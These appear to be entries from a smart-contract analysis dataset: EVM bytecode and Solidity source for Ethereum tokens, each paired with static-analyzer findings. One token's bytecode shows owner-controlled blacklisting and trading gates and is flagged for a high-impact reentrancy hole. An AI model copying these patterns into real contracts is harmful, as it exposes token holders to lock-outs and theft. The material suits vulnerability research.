0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610519578063dd62ed3e14610539578063ea1644d51461057f578063f2fde38b1461059f57600080fd5b8063a2a957bb14610494578063a9059cbb146104b4578063bfd79284146104d4578063c3c8cd801461050457600080fd5b80638f70ccf7116100d15780638f70ccf7146104115780638f9a55c01461043157806395d89b411461044757806398a5c3151461047457600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780638da5cb5b146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae3565b6105bf565b005b3480156101ff57600080fd5b506040805180820190915260078152664150454f53484960c81b60208201525b60405161022c9190611c0d565b60405180910390f35b34801561024157600080fd5b50610255610250366004611a39565b61066c565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b50662386f26fc100005b60405190815260200161022c565b3480156102cd57600080fd5b506102556102dc3660046119f9565b610683565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022c565b34801561031f57600080fd5b50601554610285906001600160a01b031681565b34801561033f57600080fd5b506101f161034e366004611989565b6106ec565b34801561035f57600080fd5b506101f161036e366004611baa565b610737565b34801561037f57600080fd5b506101f161077f565b34801561039457600080fd5b506102b36103a3366004611989565b6107ca565b3480156103b457600080fd5b506101f16107ec565b3480156103c957600080fd5b506101f16103d8366004611bc4565b610860565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506000546001600160a01b0316610285565b34801561041d57600080fd5b506101f161042c366004611baa565b61088f565b34801561043d57600080fd5b506102b360175481565b34801561045357600080fd5b506040805180820190915260048152631054114960e21b602082015261021f565b34801561048057600080fd5b506101f161048f366004611bc4565b6108d7565b3480156104a057600080fd5b506101f16104af366004611bdc565b610906565b3480156104c057600080fd5b506102556104cf366004611a39565b610944565b3480156104e057600080fd5b506102556104ef366004611989565b60106020526000908152604090205460ff1681565b34801561051057600080fd5b506101f1610951565b34801561052557600080fd5b506101f1610534366004611a64565b6109a5565b34801561054557600080fd5b506102b36105543660046119c1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058b57600080fd5b506101f161059a366004611bc4565b610a54565b3480156105ab57600080fd5b506101f16105ba366004611989565b610a83565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105e990611c60565b60405180910390fd5b60005b81518110156106685760016010600084848151811061062457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066081611d73565b9150506105f5565b5050565b6000610679338484610b6d565b5060015b92915050565b6000610690848484610c91565b6106e284336106dd85604051806060016040528060288152602001611dd0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cd565b610b6d565b5060019392505050565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105e990611c60565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016105e990611c60565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b457506013546001600160a01b0316336001600160a01b0316145b6107bd57600080fd5b476107c781611207565b50565b6001600160a01b03811660009081526002602052604081205461067d9061128c565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016105e990611c60565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b81526004016105e990611c60565b601655565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016105e990611c60565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016105e990611c60565b601855565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016105e990611c60565b600893909355600a91909155600955600b55565b6000610679338484610c91565b6012546001600160a01b0316336001600160a01b0316148061098657506013546001600160a01b0316336001600160a01b0316145b61098f57600080fd5b600061099a306107ca565b90506107c781611310565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105e990611c60565b60005b82811015610a4e5781600560008686858181106109ff57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a149190611989565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4681611d73565b9150506109d2565b50505050565b6000546001600160a01b03163314610a7e5760405162461bcd60e51b81526004016105e990611c60565b601755565b6000546001600160a01b03163314610aad5760405162461bcd60e51b81526004016105e990611c60565b6001600160a01b038116610b125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bcf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610c305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e9565b6001600160a01b038216610d575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e9565b60008111610db95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e9565b6000546001600160a01b03848116911614801590610de557506000546001600160a01b03838116911614155b156110c657601554600160a01b900460ff16610e7e576000546001600160a01b03848116911614610e7e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e9565b601654811115610ed05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e9565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1257506001600160a01b03821660009081526010602052604090205460ff16155b610f6a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e9565b6015546001600160a01b03838116911614610fef5760175481610f8c846107ca565b610f969190611d05565b10610fef5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e9565b6000610ffa306107ca565b6018546016549192508210159082106110135760165491505b80801561102a5750601554600160a81b900460ff16155b801561104457506015546001600160a01b03868116911614155b80156110595750601554600160b01b900460ff165b801561107e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110a357506001600160a01b03841660009081526005602052604090205460ff16155b156110c3576110b182611310565b4780156110c1576110c147611207565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110857506001600160a01b03831660009081526005602052604090205460ff165b8061113a57506015546001600160a01b0385811691161480159061113a57506015546001600160a01b03848116911614155b15611147575060006111c1565b6015546001600160a01b03858116911614801561117257506014546001600160a01b03848116911614155b1561118457600854600c55600954600d555b6015546001600160a01b0384811691161480156111af57506014546001600160a01b03858116911614155b156111c157600a54600c55600b54600d555b610a4e848484846114b5565b600081848411156111f15760405162461bcd60e51b81526004016105e99190611c0d565b5060006111fe8486611d5c565b95945050505050565b6012546001600160a01b03166108fc6112218360026114e3565b6040518115909202916000818181858888f19350505050158015611249573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112648360026114e3565b6040518115909202916000818181858888f19350505050158015610668573d6000803e3d6000fd5b60006006548211156112f35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e9565b60006112fd611525565b905061130983826114e3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ba57600080fd5b505afa1580156113ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f291906119a5565b8160018151811061141357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114399130911684610b6d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611472908590600090869030904290600401611c95565b600060405180830381600087803b15801561148c57600080fd5b505af11580156114a0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c2576114c2611548565b6114cd848484611576565b80610a4e57610a4e600e54600c55600f54600d55565b600061130983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166d565b600080600061153261169b565b909250905061154182826114e3565b9250505090565b600c541580156115585750600d54155b1561155f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611588876116d9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115ba9087611736565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115e99086611778565b6001600160a01b03891660009081526002602052604090205561160b816117d7565b6116158483611821565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165a91815260200190565b60405180910390a3505050505050505050565b6000818361168e5760405162461bcd60e51b81526004016105e99190611c0d565b5060006111fe8486611d1d565b6006546000908190662386f26fc100006116b582826114e3565b8210156116d057505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116f68a600c54600d54611845565b9250925092506000611706611525565b905060008060006117198e87878761189a565b919e509c509a509598509396509194505050505091939550919395565b600061130983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cd565b6000806117858385611d05565b9050838110156113095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e9565b60006117e1611525565b905060006117ef83836118ea565b3060009081526002602052604090205490915061180c9082611778565b30600090815260026020526040902055505050565b60065461182e9083611736565b60065560075461183e9082611778565b6007555050565b600080808061185f606461185989896118ea565b906114e3565b9050600061187260646118598a896118ea565b9050600061188a826118848b86611736565b90611736565b9992985090965090945050505050565b60008080806118a988866118ea565b905060006118b788876118ea565b905060006118c588886118ea565b905060006118d7826118848686611736565b939b939a50919850919650505050505050565b6000826118f95750600061067d565b60006119058385611d3d565b9050826119128583611d1d565b146113095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e9565b803561197481611dba565b919050565b8035801515811461197457600080fd5b60006020828403121561199a578081fd5b813561130981611dba565b6000602082840312156119b6578081fd5b815161130981611dba565b600080604083850312156119d3578081fd5b82356119de81611dba565b915060208301356119ee81611dba565b809150509250929050565b600080600060608486031215611a0d578081fd5b8335611a1881611dba565b92506020840135611a2881611dba565b929592945050506040919091013590565b60008060408385031215611a4b578182fd5b8235611a5681611dba565b946020939093013593505050565b600080600060408486031215611a78578283fd5b833567ffffffffffffffff80821115611a8f578485fd5b818601915086601f830112611aa2578485fd5b813581811115611ab0578586fd5b8760208260051b8501011115611ac4578586fd5b602092830195509350611ada9186019050611979565b90509250925092565b60006020808385031215611af5578182fd5b823567ffffffffffffffff80821115611b0c578384fd5b818501915085601f830112611b1f578384fd5b813581811115611b3157611b31611da4565b8060051b604051601f19603f83011681018181108582111715611b5657611b56611da4565b604052828152858101935084860182860187018a1015611b74578788fd5b8795505b83861015611b9d57611b8981611969565b855260019590950194938601938601611b78565b5098975050505050505050565b600060208284031215611bbb578081fd5b61130982611979565b600060208284031215611bd5578081fd5b5035919050565b60008060008060808587031215611bf1578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3957858101830151858201604001528201611c1d565b81811115611c4a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce45784516001600160a01b031683529383019391830191600101611cbf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1857611d18611d8e565b500190565b600082611d3857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5757611d57611d8e565b500290565b600082821015611d6e57611d6e611d8e565b500390565b6000600019821415611d8757611d87611d8e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b531248b2379d23bc2549535dfb684f7e078d34df1f59c8b08e97c48c8ce4adf64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
26
0xa2688932bad3c10ff3354e65790fe1081e5f2bf2
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'yearnfamily.finance' token contract // // Symbol : YFF // Name : yearnfamily.finance // Total supply: 50 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract YFF is BurnableToken { string public constant name = "yearnfamily.finance"; string public constant symbol = "YFF"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 50000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a10565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e67565b6040518082815260200191505060405180910390f35b6103b1610eb0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0d565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e1565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112dd565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611364565b005b6040518060400160405280601381526020017f796561726e66616d696c792e66696e616e63650000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a61c3500281565b60008111610a1d57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6957600080fd5b6000339050610ac082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b18826001546114b390919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce7576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7b565b610cfa83826114b390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f594646000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4857600080fd5b610f9a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102f82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117282600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114bf57fe5b818303905092915050565b6000808284019050838110156114dc57fe5b809150509291505056fea2646970667358221220d46ec22e6d56bbbbcae9d37f0d623a96b262b642dd41f57309f135654814a02564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
27
0x8ff777cf27abc3740d3ebfe51d8f9a23fcff6b01
